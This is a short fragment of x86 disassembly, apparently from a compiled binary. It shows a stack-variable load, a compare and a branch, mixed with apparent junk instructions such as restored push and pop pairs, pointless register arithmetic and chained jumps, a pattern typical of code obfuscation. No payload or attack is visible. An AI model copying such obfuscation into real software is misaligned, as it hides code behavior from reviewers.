mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcb4], eax
push esi
push esi
add esp, 4
and esi, 0x9454
jmp 0x41db8b
jmp 0x41db90
pop esi
push edx
jmp 0x41db9a
xor edx, 0xd560
and edx, 0x85d9
and edx, 0x10920
pop edx
cmp dword [ebp - 0xcb4], 0
jne 0x41dbc5
mov dword [ebp - 0x318], 0
mov ecx, dword [ebp - 0xcb4]
mov dword [ebp - 0x50c], ecx